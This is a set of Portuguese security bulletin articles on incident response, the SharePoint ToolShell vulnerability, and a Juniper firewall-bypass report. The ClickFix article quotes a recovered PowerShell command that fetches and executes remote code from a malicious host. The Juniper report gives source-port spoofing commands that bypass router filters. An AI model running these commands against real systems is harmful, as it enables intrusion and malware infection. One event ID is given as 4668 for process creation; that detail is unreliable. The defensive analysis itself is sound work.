Vol. 1 No. 20250801-804 (2025)

Impacto das conexões externas

Pedro Brandt Zanqueta | pedro@cylo.com.br | 01/08/2025

Durante um estudo para um projeto interno, onde criamos ambientes propositalmente vulneráveis, obtivemos resultados interessantes ao analisar fatores relacionados a conexões externas.

Por mais de um mês, mantivemos a porta de RDP (3389) aberta exclusivamente para conexões originadas do Brasil. Mesmo com essa restrição geográfica, registramos diversas tentativas de exploração, força bruta de senhas e uso de ferramentas de escaneamento. No entanto, nenhum sistema foi comprometido.

Decidimos então testar o extremo: liberamos o acesso RDP 3389 para o mundo inteiro. O resultado? Em menos de 24 horas, tivemos um sistema comprometido.

Isso levanta uma questão: o Brasil sofre menos ataques? A resposta é não. Segundo o relatório da IBM, as empresas brasileiras estão entre as cinco mais atacadas do mundo.

O que temos observado é que muitas empresas mantêm sistemas expostos à internet sem as devidas proteções. Sites como o Shodan.io realizam varreduras globais em busca de serviços abertos, revelando a fragilidade de muitas infraestruturas.

Times de infraestrutura e segurança precisam implementar camadas de proteção: firewalls, IPS, regras de controle e restrições geográficas são medidas que podem salvar empresas em risco.

Por fim, deixo uma reflexão: você, que atua em infraestrutura, segurança ou áreas correlatas, já validou se suas aplicações expostas externamente possuem restrições de origem bem definidas? Se não, qual é a desculpa?

Vol. 1 No. 20250725-792 (2025)

Um clique, um comando, uma brecha

Yuri Augusto | yuri@cylo.com.br | 25/07/2025

Como já é de conhecimento geral, o elo mais fraco em um ataque é a interferência humana, seja em caso de falhas (bugs), phishing ou engenharia social.
Em um caso recente, o usuário tentou executar um arquivo malicioso e teve a ação bloqueada. Ao verificar o hash do arquivo suspeito (localizado em uma pasta temporária) no Virus Total, o arquivo foi identificado como Powershell.
Em seguida, busquei por comandos que pudessem ter sido executados anteriormente para gerar esse arquivo na pasta temporária. Nem sempre é possível recuperar o histórico de comandos do Powershell, mas neste caso encontrei o seguinte registro no arquivo ConsoleHost_history.txt, localizado em AppData:

iwr walkin[.]college/trace.mp3 | iex # You're Human

Além disso, identifiquei também comandos altamente ofuscados executados pelo .NET . Nesse ponto, já era evidente que se tratava de um ataque de engenharia social relativamente novo: o ClearFake/ClickFix. Nesse tipo de ataque, o usuário acessa um site e é induzido a abrir o menu “Executar” do Windows, colar um código e pressionar Enter. Trata-se, basicamente, de uma variação de phishing com o uso de captcha para dar aparência de legitimidade.

Exemplo de como é realizado o ataque.

Apesar de relativamente recente, esse tipo de ataque já vem sendo amplamente utilizado por diversas famílias de malware.

Gráfico das infecções semanais em 2025.

O sucesso desse ataque se deve à sua simplicidade. O usuário é induzido a digitar, por conta própria, o código malicioso, facilitando o ponto de entrada na estação. A partir daí, o código é executado e inicia-se o download de arquivos maliciosos.
Realizei uma busca na internet e encontrei o script utilizado, bem como a metodologia do ataque. Há indícios de que o malware pertença à família Lumma Stealer.

Algumas maneiras de detectar a atividade maliciosa:

  • Eventos de segurança – eventID 4668 (process creation): procurar instâncias do powershell.exe que tenha explorer.exe como processo pai e que apresente associação com o EventID 4663 (object access) envolvendo arquivos na pasta %LocalAppData%\Microsoft\Windows\WinX\
  • Padrões de uso de shell: identificar sessões elevadas de powershell com comunicações suspeitas ou criação de processos incomuns, como certutil.exe, mshta.exe ou rundll32.exe.

Algumas maneiras para dificultar o roubo de credenciais:

  • Habilitar autenticação multifator (MFA).
  • Adotar métodos de autenticação resistentes à phishing, como FIDO, passkey, e evitar métodos de autenticação SMS.
  • Utilizar AppLocker para restringir aplicações não autorizadas no ambiente.
  • Desabilitar powershell para usuários que não possuem privilégios administrativos.

Felizmente o ataque não chegou a esse ponto, pois foi barrado pelo XDR. No entanto, isso nos alerta para uma das estratégias mais básicas, treinar os usuários, que são os principais alvos dos atacantes. Não se espera que o usuário entenda códigos ou saiba reconhecer ataques, porém, com orientações básicas é possível evitar problemas significativamente mais graves.

Indicators of compromise:
SHA256 – 45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d
Domínio – walkin[.]college/trace.mp3

Mais informações do indicador:
https://www.virustotal.com/gui/file/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d
https://hybrid-analysis.com/sample/45fb3902a652c7f083bd3f090bf1a0d9ee3b0503256da6cbbce5a8fcaacc7b0d/6882e7fcd6da29a55105d6ab

Referências:
https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/
https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/

Vol. 1 No. 20250724-666 (2025)

Análise da Vulnerabilidade CVE-2025-53770 (ToolShell) no Microsoft SharePoint Server

Adriano Cansian | adriano.cansian@unesp.br | 24/07/2025

RESUMO

A vulnerabilidade crítica CVE-2025-53770, apelidada de ToolShell, está sendo ativamente explorada por agentes maliciosos para comprometer servidores Microsoft SharePoint on-premises. A falha permite execução remota de código não autenticada, extração de chaves criptográficas sensíveis e implantação de ransomwares.


A exploração ocorre por meio de uma cadeia de ataques que combina as vulnerabilidades CVE-2025-49706 (bypass de autenticação via spoofing) e CVE-2025-49704 (deserialização insegura), possibilitando o controle total dos sistemas afetados.

A ameaça é classificada com CVSS 9.8 (Crítica) e já comprometeu dezenas de organizações públicas e privadas. Este artigo técnico detalha os vetores de ataque, os impactos operacionais, os indicadores de comprometimento (IoCs) e as ações recomendadas de mitigação com base em orientações oficiais da Microsoft.

Nota importante

• Se você utiliza Microsoft SharePoint na nuvem da Microsoft, como parte do pacote Microsoft 365, ESSA VULNERABILIDADE NÃO SE APLICA A VOCÊ.
• Se você usa sua própria instalação Microsoft SharePoint on-premises, seja no seu datacenter físico ou em colocation privado, ESSE ALERTA SE APLICA A VOCÊ.

Introdução

A vulnerabilidade CVE-2025-53770, apelidada de ToolShell, é uma falha crítica de execução remota de código (RCE) que afeta servidores on-premises do Microsoft SharePoint. Ela é uma variante da vulnerabilidade anterior CVE-2025-49706 e está sendo ativamente explorada em ataques reais. A exploração ocorre por meio de uma cadeia de vulnerabilidades que combina:

  • CVE-2025-49706: Permite bypass de autenticação por meio de técnicas de spoofing de rede, proporcionando acesso não autenticado aos sistemas.
  • CVE-2025-49704: Explora uma deserialização insegura de objetos manipulados, permitindo execução remota de código e acesso autenticado subsequente.

Essa cadeia de exploração, publicamente conhecida como ToolShell, foi demonstrada na competição Pwn2Own Berlin em maio de 2025 e possibilita que atores maliciosos obtenham controle total sobre os servidores SharePoint afetados. Os impactos incluem:

  • Acesso irrestrito ao conteúdo: Arquivos, configurações internas e sistemas de arquivos armazenados no SharePoint.
  • Execução remota de código: Capacidade de executar comandos maliciosos na rede interna, incluindo a implantação de web shells (.aspx), executáveis (.exe) e bibliotecas dinâmicas (.dll).
  • Persistência de acesso: Extração de chaves criptográficas (ValidationKey e DecryptionKey), permitindo a criação de tokens de autenticação forjados, mesmo após a aplicação de patches.
  • Escalada de ataques: Recentemente, observou-se o uso de técnicas de criptografia de arquivos e a distribuição do ransomware Warlock, indicando um aumento no potencial destrutivo dos ataques.

A vulnerabilidade está relacionada a uma deserialização insegura de dados não confiáveis no endpoint /ToolPane.aspx, explorado por meio de solicitações HTTP POST com cabeçalhos Referer forjados (ex.: apontando para /_layouts/SignOut.aspx). A pontuação CVSS da CVE-2025-53770 é 9.8 (Crítica), refletindo sua gravidade devido à facilidade de exploração e ao impacto devastador.

Contexto e impacto

O SharePoint é amplamente utilizado por organizações para colaboração e armazenamento de documentos, integrando-se a serviços como Office, Teams e OneDrive. A exploração ativa da ToolShell, adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (Known Exploited Vulnerabilities – KEV) da CISA em 20 de julho de 2025, já comprometeu mais de 85 servidores em 54 organizações, incluindo agências governamentais, empresas de energia e universidades. Relatos apontam envolvimento de atores estatais chineses, como Linen Typhoon, Violet Typhoon e Storm-2603, em campanhas sofisticadas.

A combinação de acesso não autenticado, execução de código e implantação de ransomware amplia o risco, podendo resultar em:

  • Violações de dados sensíveis.
  • Interrupções operacionais críticas.
  • Comprometimento de sistemas interconectados na rede.

Detalhes técnicos

A exploração da ToolShell ocorre em duas etapas principais:

  1. Bypass de autenticação (CVE-2025-49706): Atacantes utilizam técnicas de spoofing para enviar solicitações HTTP POST maliciosas, manipulando cabeçalhos Referer e explorando falhas de validação no endpoint /ToolPane.aspx.
  2. Execução remota de código (CVE-2025-49704): A deserialização insegura de objetos manipulados permite a execução de payloads maliciosos, resultando em RCE. Isso inclui a criação de web shells (ex.: spinstall0.aspx) e a extração de chaves criptográficas.

Os atacantes também evoluíram suas táticas, empregando:

  • Payloads variados: Além dos tradicionais web shells (.aspx) e executáveis (.exe), também foram detectadas bibliotecas dinâmicas (.dll), ampliando a superfície de ataque.
  • Ransomware Warlock: Técnicas de criptografia de arquivos e distribuição de ransomware foram detectadas, indicando uma escalada no impacto dos ataques.

Essas táticas demonstram a sofisticação dos operadores e reforçam a urgência na aplicação das medidas de mitigação descritas a seguir.

Mitigações recomendadas

A Microsoft lançou atualizações de segurança em 21 de julho de 2025 para as versões suportadas do SharePoint Server (2016, 2019 e Subscription Edition), abordando a CVE-2025-53770 e a CVE-2025-53771 (uma vulnerabilidade de spoofing relacionada, mas não explorada ativamente). As seguintes medidas são recomendadas:

  1. Aplicar patches imediatamente: instale as atualizações de segurança mais recentes para SharePoint Server 2016, 2019 e Subscription Edition.
  2. Habilitar o AMSI: O Antimalware Scan Interface, ativado por padrão em atualizações de setembro de 2023 (SharePoint Server 2016/2019) e na versão 23H2 (Subscription Edition), pode bloquear exploits não autenticados.
  3. Implantar o Microsoft Defender Antivirus: Ative o Defender em todos os servidores SharePoint para detectar e mitigar atividades maliciosas.
  4. Rotacionar chaves criptográficas: Antes e após aplicar patches, rotacione as chaves ValidationKey e DecryptionKey do ASP.NET e reinicie o servidor IIS.
  5. Desconectar servidores expostos: Servidores SharePoint voltados para a internet, especialmente versões obsoletas (ex.: SharePoint Server 2013), devem ser desconectados até serem atualizados.
  6. Monitorar logs: Verifique solicitações POST ao endpoint /_layouts/15/ToolPane.aspx e a criação de arquivos suspeitos, como spinstall0.aspx.
  7. Restringir privilégios: Audite e minimize privilégios administrativos e de layout no SharePoint.
  8. Bloquear IPs maliciosos: Monitore e bloqueie tráfego de IPs associados aos ataques, como 107.191.58.76, 104.238.159.149, 96.9.125.147 e 45.77.155.170.

Indicadores de Comprometimento (IoCs)

  • Arquivos suspeitos: spinstall0.aspx, webshells customizados (.aspx, .dll, .exe) 
  • Endpoints observados: /ToolPane.aspx, /_layouts/15/ToolPane.aspx .
  • IPs maliciosos: 107.191.58.76 , 104.238.159.149 , 96.9.125.147 , 45.77.155.170 

Riscos e Considerações

A exploração da ToolShell é facilitada pela ausência de autenticação necessária e pela capacidade de extrair chaves criptográficas, garantindo acesso persistente. A introdução do ransomware Warlock eleva o risco, podendo causar perdas financeiras e operacionais significativas.

Conclusão

A vulnerabilidade CVE-2025-53770 (ToolShell), combinada com as falhas CVE-2025-49706 e CVE-2025-49704, representa uma ameaça crítica para servidores SharePoint on-premises. A aplicação imediata de patches, a habilitação do AMSI, a rotação de chaves criptográficas e o monitoramento contínuo são essenciais para mitigar os riscos. A escalada para ataques de ransomware, como o Warlock, reforça a necessidade de uma resposta rápida e coordenada. Para mais detalhes, consulte as orientações oficiais da Microsoft Microsoft:

Referências

  1. Microsoft Security Response Center (MSRC).
    Disrupting Active Exploitation of On-Premises SharePoint Vulnerabilities.
    Disponível em: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
  2. Cybersecurity and Infrastructure Security Agency (CISA).
    Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities.
    Disponível em: https://www.cisa.gov/news-events/alerts/2025/microsoft-sharepoint-vulnerabilities
  3. CISA – Known Exploited Vulnerabilities Catalog.
    CVE-2025-53770 – SharePoint Remote Code Execution Vulnerability.
    Disponível em: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  4. Zero Day Initiative (ZDI) – Trend Micro.
    Pwn2Own Berlin 2025: Results and Exploits Summary.
    Disponível em: https://www.zerodayinitiative.com/blog/2025/berlin-pwn2own-results
  5. Microsoft Learn Documentation.
    Antimalware Scan Interface (AMSI) for SharePoint Server.
    Disponível em: https://learn.microsoft.com/en-us/sharepoint/install/antimalware-scan-interface
  6. MITRE Corporation.
    CVE-2025-53770 – Remote Code Execution in Microsoft SharePoint.
    Disponível em: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53770

Vol. 1 No. 20250717-774 (2025)

Os perigos de utilizar hotspot não autorizados no ambiente corporativo 

João Paulo Gonsales | jgonsales@cylo.com.br | 17/07/2025

Frequentemente analisamos um tipo de alerta preocupante : colaboradores dentro do ambiente corporativo compartilhando a internet móvel não autorizado com um dispositivo empresarial, criando com os seus dispositivos hotspots móveis e não autorizados pela organização. Embora possa parecer uma solução inofensiva ou um “atalho” para a conectividade, esse comportamento abre as portas para uma série de riscos graves que podem comprometer toda a segurança da sua organização.

Quando um hotspot móvel não autorizado é ativado, ele faz um bypass em diversas camadas de segurança da organização, é como se abríssemos uma “porta” não autorizada, favorecendo ameaças como ataques do tipo man-in-the-middle, risco para vazamento de dados ou outras ameaças, como um vírus, malware e até um Ransoware no ambiente.

Sobre os alertas analisados, notamos que durante a ação de compartilhar da conexão, criando um hotspot, o dispositivo conectado na rede recebe a faixa de IP 192.168.137.x, e por ser uma faixa de endereço privada e desconhecida dentro do ambiente , que a princípio gerou algumas dificuldades durante a analise, mas com o apoio da documentação da Microsoft e outros fatores presentes no log, verificamos que este endereço é um range padrão, atribuído pelo Windows e utilizado pelo serviço Compartilhamento de Conexão com a Internet (ICS).  

Conforme definido no learn da Microsoft, o serviço de ICS seria o driver atras de Wi-Fi pessoal que, por padrão, o ICS configura o seu computador (o host do hotspot) com o endereço IP 192.168.137.1 e após atribuir este IP, o serviço age como um servidor DHCP (Dynamic Host Configuration Protocol), atribuindo endereços IP aos dispositivos que se conectam ao hotspot, começando geralmente do 192.168.137.x.

Como mencionado acima, esta faixa de IP é de uma rede privada, designada para uso interno, o que significa que os endereços não são roteáveis diretamente na internet e utilizando a máscara padrão com o endereço 255.255.255.0, disponibilizando um range de 254 endereços IP para dispositivos conectados, tirando endereços de gateway e broadcast. 

Esta faixa de endereço pode ser alterado nas configurações do sistema, mas até o momento deste texto, os alertas analisados continham a faixa “padrão”, com o endereço IP 192.168.137.x. 

Por que esta faixa de IP específica? 

 A escolha da faixa 192.168.137.x foi uma convenção estabelecida pela Microsoft para o funcionamento do ICS, ela evita conflitos com outras redes já documentadas e utilizadas em ambientes domésticos ou corporativos (como as populares 192.168.0.x ou 192.168.1.x), garantindo que o seu hotspot possa operar sem problemas, independentemente da rede à qual seu computador principal está conectado. 

 Conexões rede origem e destino resolvendo DNS pelo 192.168.137.x 

Este tipo de ação no ambiente corporativo se torna muito preocupante, onde no cenário atual de flexibilidade no trabalho, onde o home office e os inúmeros dispositivos moveis pessoais no ambiente , gera preocupações de controle para estes dispositivos que, por um lado, a sua utilização pode ser “desculpa” para aumentar a produtividade, mas por outro lado, o mesmo pode ser utilizado para tentar quebrar os controles de segurança de rede dentro das empresas, e com essa pratica, as vezes inocente por parte de quem está utilizando, compromete os controles de segurança da informação e eleva os riscos significativos para a infraestrutura da empresa. 

Para mitigar e melhorar os controles para estes dispositivos, podemos adotar praticas que vão além do monitoramento, como a definição de políticas claras de PSI, implantando a sua conscientização, treinamento para os colaboradores e adoção de ferramentas de MDM (Gerenciamento de Dispositivos Móveis), onde com este recurso podemos aplicar políticas de segurança para os dispositivos moveis, monitorar e controlar o uso de dispositivos corporativos, incluindo a capacidade de criar hotspots.

 Referências :

Vol. 1 No. 20250707-572 (2025)

OSV — Recursos para Monitoramento de Vulnerabilidades em OSS

Matheus Augusto da Silva Santos | matheus@cylo.com.br | 07/07/2025

Gostaria de trazer atenção para um recurso interessante, que descobri recentemente, para monitoramento de vulnerabilidades em software de código aberto (OSS, do inglês Open Source Software).

Open Source Vulnerabilities (OSV) é um banco de dados aberto que agrega informações sobre vulnerabilidades de mais de 15 fontes, fornecendo uma fonte de consulta centralizada sobre vulnerabilidades, suas severidades, software afetado e mitigações, dentre outras informações.

OSV Logo.
Logo da OSV. Fonte.

Graças aos esforços da empresa responsável, o formato OpenSSF para vulnerabilidades difundiu-se com sucesso. Este permite o relato de versões de software com a precisão necessária para serviços de automação (permitindo, por exemplo, a referência a um exato commit hash). Através deste, o OSV, utilizando métodos de bisseção automatizados e análise de versões, consegue enriquecer os registros de vulnerabilidades com as versões exatas dos softwares impactados.

O enriquecimento dos dados, graças às automações desenvolvidas, além de sua precisão devido ao formato bem projetado, auxiliam o trabalho de profissionais de segurança gerenciando e mitigando vulnerabilidades. Ambos reduzem significativamente o trabalho de identificação de versões afetadas, auxiliando-os a atuarem com mais rapidez e confiança.

Os dados disponibilizados cobrem vulnerabilidades em mais de 20 ecossistemas, incluindo:

A informação é entregue com agilidade, estando disponível usualmente no máximo 15 minutos após sua publicação nas fontes de dados base consultadas pelo serviço.

O serviço conta com uma página web e uma API para consulta dos dados, com um leque vasto de opções para consulta: vulnerabilidades individuais, pesquisa por software(s) afetado(s), e requisições em batch.

E por fim, e sinceramente o que mais me impressionou, uma ferramenta para escanear vulnerabilidades conhecidas em dependências de projetos em desenvolvimento: OSV-Scanner. Esta é disponibilizada como uma aplicação standalone, ou uma operação no GitHub Actions, permitindo monitoramento contínuo e automatizado por vulnerabilidades novas. Dentre escaneamento de contêineres Docker, ferramental para correção de vulnerabilidades semi-automaticamente, configurabilidade para relatórios focados em vulnerabilidades introduzidas, há muito para explorar e descobrir nessa ferramenta.

Estes recursos extremamente versáteis serão incorporados ao processo de desenvolvimento de software para nossos projetos internos na CYLO, para monitorar e mitigar vulnerabilidades em dependências externas dos mesmos.

Referências

  • OSV. Disponível em: <https://osv.dev/>.
  • Introduction to OSV. Disponível em: <https://google.github.io/osv.dev/>.
  • ‌OSV-Scanner. Disponível em: <https://google.github.io/osv-scanner/>.
  • OSSF. GitHub – ossf/osv-schema: Open Source Vulnerability schema. Disponível em: <https://github.com/ossf/osv-schema>.
  • ‌CÁNEPA, G. 10 Top Most Popular Linux Distributions of 2020. Disponível em: <https://www.tecmint.com/top-most-popular-linux-distributions/>.
  • ‌Mobile Operating System Market Share Worldwide | StatCounter Global Stats. Disponível em: <http://gs.statcounter.com/os-market-share/mobile/worldwide>.
  • ‌The Most Popular Programming Languages – 1965/2024 – New Update –. Disponível em: <https://statisticsanddata.org/data/most-popular-programming-languages-1965-2024/>.
  • ‌STATISTA. Most Used Languages among Software Developers Globally 2019. Disponível em: <https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/>.

Vol. 1 No. 20250704-682 (2025)

Relatório de Vulnerabilidade para Solicitação de CVE: Bypass de Firewall em Conexões SSH no Junos OS

Adriano Cansian | adriano.cansian@unesp.br | 04/07/2025

Informações Gerais

  • Título: Bypass de Regras de Firewall em Conexões SSH Usando Porta de Origem TCP 53
  • Produto Afetado: Juniper Networks Junos OS
  • Versão Testada: 24.1.R2 and 21.4R3-S9.5
  • Dispositivo Testado: Juniper MX204,  Juniper MX304 and Juniper EX2300-24T
  • Data do Teste: June, 23, 2025 8h10m BRT (GMT-03)
  • Reportado por: Adriano Mauro Cansian (UNESP – Sao Paulo State University, Brazil) e Joao Fuzinelli (Cylo Cyberloss Prevention, Brazil)
  • Colaboradores: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)
  • Contato: adriano.cansian@unesp.br , joao@cylo.com.br
  • Gravidade Estimada: Crítica (acesso não autorizado ao plano de controle via SSH)
  • CVE Solicitado: Sim

Descrição da Vulnerabilidade

Uma vulnerabilidade no Junos OS permite o bypass de regras de firewall em conexões SSH ao usar a porta de origem TCP 53, normalmente associada a respostas de DNS via UDP. A falha ocorre devido a uma regra de firewall stateless que permite tráfego com porta de origem 53 sem filtrar o protocolo (TCP vs. UDP), possibilitando que conexões SSH (TCP) sejam aceitas indevidamente.

Impacto

  • Acesso Não Autorizado: Um atacante pode estabelecer uma conexão SSH com o roteador, comprometendo o plano de controle.
  • Confidencialidade e Integridade: Possível acesso a configurações sensíveis e manipulação do dispositivo.
  • Disponibilidade: Risco de negação de serviço (DoS) se o acesso for explorado para ações maliciosas.
  • Escopo: A vulnerabilidade é explorável em qualquer roteador Juniper com uma regra de firewall semelhante, especialmente em firewalls stateless.

Ambiente de teste

Servidor SSH

  • IP: xxx.yyy.zzz.123
  • Serviço: SSH na porta 22 (padrão)
  • Localização: Rede interna

Cliente

  • Localização: Laboratório Número 6
  • Endereço: IP público

Roteador

  • Modelos: Juniper MX204, MX304 e EX2300-24T
  • Sistema Operacional: Junos OS 24.1.R2 e 21.4R3-S9.5

Configuração do Firewall (stateless):

firewall family inet filter protect-re {
    term allow-dns {
        from {
            source-port 53;
        }
        then accept;
    }
    term deny-all {
        then discard;
    }
}
interfaces {
    lo0 {
        unit 0 {
            family inet {
                filter input protect-re;
            }
        }
    }
}

Passos para reprodução

  1. Configure o roteador Juniper com a regra acima aplicada à interface loopback (lo0).
  2. Inicie um servidor SSH na rede interna (xxx.yyy.zzz.123, porta 22).
  3. A partir de um cliente com IP público, tente uma conexão SSH padrão:
ssh user@xxx.yyy.zzz.123

4. Resultado Esperado: Conexão bloqueada pelo firewall.

Tente uma conexão SSH com porta de origem TCP 53:

ssh -o "ProxyCommand nc -p 53 %h %p" -p 22 user@xxx.yyy.zzz.123

5. Resultado Observado: Conexão bem-sucedida, indicando bypass do firewall.

Estimativa de CVSS v3.1

Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

  • AV:N – Vetor de ataque pela rede
  • AC:L – Baixa complexidade de ataque
  • PR:N – Sem privilégios necessários
  • UI:N – Sem interação do usuário
  • S:U – Escopo não alterado
  • C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade

Evidências

Comandos executados:

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123

Resultado: O bypass foi confirmado, permitindo acesso SSH não autorizado.

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
The authenticity of host 'xxx.yyy.zzz.123 (<no hostip for proxy command>)' can't be established.
ED25519 key fingerprint is SHA256:zsfUbBo9nyytTLBgdJADBvYDgqiNGqYWE1g7c0nfv6o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'xxx.yyy.zzz.123' (ED25519) to the list of known hosts.
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:
'''

Observações

Observações:

  • Nesse caso utilizamos primeiramente a porta 22, localizado em ‘ProxyCommand nc -p 22″ onde 22 é a porta de origem. Logo após ocorre o mesmo com a porta 80.
  • O uso das portas 22 e 80 como origem é mais plausível, pois esses serviços operam nativamente sobre TCP, diferentemente do DNS, que utiliza UDP. Contudo, isso prova que para qualquer porta onde o usuário permita conexões de porta de origem no firewall de output, ao forjar a porta em uma conexão ela será aceita pelo firewall. Caso este que não ocorre em firewall stateful, já que existe a possibilidade de checar  se uma “conexão” é nova tanto em TCP como UDP.

Mitigação temporária

Filtragem por Protocolo:

set firewall family inet filter protect-re term allow-dns from protocol udp
set firewall family inet filter protect-re term allow-dns from source-port 53
set firewall family inet filter protect-re term allow-dns then accept

Restrição por IP de origem:

set firewall family inet filter protect-re term allow-dns from source-address 8.8.8.8/32
set firewall family inet filter protect-re term allow-dns from source-address 1.1.1.1/32

Alteração da porta SSH:

set system services ssh port 6666

Desativação do SSH:

deactivate system services ssh

Recomendações

  • Testar em versões Junos OS mais recentes (24.4R1-S1 ou 24.2R2-S2) para verificar se a falha persiste.
  • Realizar testes adicionais com portas de origem diferentes (ex: 80, 443) e com firewalls stateful, como os dispositivos da linha SRX.

Notas / observaç˜ões

  • Até 27 de junho de 2025, não há registros públicos de um CVE correspondente a essa vulnerabilidade (fontes: cvedetails.com, support.juniper.net).
  • A falha ainda está sob investigação e pode estar relacionada a uma configuração excessivamente permissiva do firewall stateless, mas não se descarta a possibilidade de um bug no Junos OS.

Última atualização: 26 de junho de 2025, 18h10m BRT (GMT-03)

Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)

Vol. 1 No. 20250704-644 (2025)

Nova vulnerabilidade em roteadores Juniper: alerta e mitigação

Adriano Cansian | adriano.cansian@unesp.br |

Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)

1. Resumo

Testes internos, realizados em laboratório, em roteadores Juniper rodando Junos OS 24 e Junos OS 23, em 27/06/2025 8h10m BRT, identificaram que conexões SSH originadas a partir da porta TCP 22 (com destino à porta 22 do roteador) permitem o bypass das regras de firewall configuradas na interface loopback, mesmo com termos explícitos de descarte dos pacotes. A vulnerabilidade permite que atacantes ignorem restrições de acesso, comprometendo a proteção do plano de controle. Até o momento, não há evidências de exploração ativa, mas a gravidade exige ação imediata.

Essa descoberta foi informada ao Juniper Security Incident Response Team em 27/06/2025, sendo solicitado registro de CVE, havendo recebida a seguinte resposta, até o momento:

I can confirm now for you that engineering leadership is aware of the reported issue and have requested their staff to begin investigating it.  Once I have an update from them, I will contact you with next steps (security incident ID # SIR-2025-0520).

2. Detalhamento da descoberta

Este relato, baseado em uma discussão interna entre analistas de rede e de segurança, e pode conter imprecisões. Utilize-a por sua conta e risco.

Para explicar o problema, apresentamos uma análise resumida sobre o funcionamento dos planos de controle e forwarding em equipamentos Juniper, com foco na aplicação e limitações de filtros de firewall na interface loopback. Também abordamos a descoberta de uma vulnerabilidade crítica no SSH, que permite o bypass das regras de segurança configuradas, e destaca as ações necessárias para verificar a correção do problema em versões mais recentes do sistema Junos.

2.1. Contexto da arquitetura Juniper

  • Equipamentos Juniper operando com o sistema Junos OS apresentam arquitetura modular, com separação entre o plano de forwarding (data plane) e o plano de controle (control plane). A interface lógica loopback é utilizada como ponto de interconexão entre esses dois planos, sendo normalmente protegida por filtros de firewall (firewall filters) no modo input, com o objetivo de restringir o acesso aos daemons do plano de controle — como o SSH, SNMP, RPD, entre outros.
  • Esses filtros seguem uma lógica sequencial de aplicação das regras, sendo comum configurar regras específicas para permitir ou bloquear tráfego com base em IP de origem, protocolos e portas de origem/destino.

2.2. Limitações do Firewall Filter na Interface de Loopback

  • É recomendado aplicar um firewall filter na interface loopback, no modo input, para proteger o roteador contra acessos indesejados.
  • O filtro atua sobre todo o tráfego que tenta abrir conexão com os daemons internos do roteador, funcionando como uma camada de proteção para o equipamento e seus acessos.
  • O firewall filter da Juniper opera de forma sequencial, lendo e aplicando termos (regras) na ordem em que são configurados.
  • Uma regra típica pode permitir apenas determinados IPs de origem na porta 22 para SSH.

2.3. Descoberta da Vulnerabilidade no SSH

Durante testes de rotina, foi identificado o seguinte comportamento:

  • Conexões SSH estabelecidas com porta de origem aleatória (acima de 1024) são corretamente analisadas pelos filtros da interface loopback, sendo bloqueadas ou permitidas conforme esperado.
  • Entretanto, quando a conexão SSH é iniciada com a porta de origem TCP 22, os pacotes não são inspecionados ou bloqueados pelos filtros, mesmo quando há regras explícitas de descarte (discard) para esse tipo de tráfego.
  • Esse comportamento resulta na evasão completa das políticas de segurança configuradas no plano de controle, permitindo o acesso direto ao serviço SSH do roteador a partir de origens não autorizadas.
  • Assim, se a conexão SSH for originada a partir da porta 22 (supondo que a porta de destino do SSH no Juniper também seja 22), todos os bloqueios configurados no firewall filter são ignorados, mesmo com regras explícitas de descarte.
  • A falha é considerada grave, pois permite o bypass das regras de segurança, comprometendo a proteção do equipamento.

Estimativa de CVSS v3.1

Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

  • AV:N – Vetor de ataque pela rede
  • AC:L – Baixa complexidade de ataque
  • PR:N – Sem privilégios necessários
  • UI:N – Sem interação do usuário
  • S:U – Escopo não alterado
  • C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade

3. Mitigação recomendada

Incluir explicitamente protocol tcp ao usar source-port, para evitar ambiguidade ou configurações inválidas.

Manter cada termo autônomo, sem combinar source-port com outras condições conflitantes (como port) no mesmo termo.

Aplicar o filtro na interface lo0 no modo input, conforme a prática padrão para proteger o plano de controle.

Testar a configuração em ambiente controlado, garantindo que o filtro está funcionando conforme esperado em versões relevantes do Junos OS.

Segundo recomendado pela Juniper, até que haja uma confirmação oficial da fabricante e o lançamento de um patch corretivo, recomenda-se aplicar as seguintes medidas preventivas para mitigar o risco de evasão das regras de firewall na interface loopback:

3.1. Ajuste no filtro de proteção ao plano de controle (PROTECT-RE)

O filtro de firewall aplicado à interface lógica lo0, no modo input, deve ser atualizado para bloquear explicitamente pacotes TCP com porta de origem 22, antes de qualquer regra que permita acesso SSH.

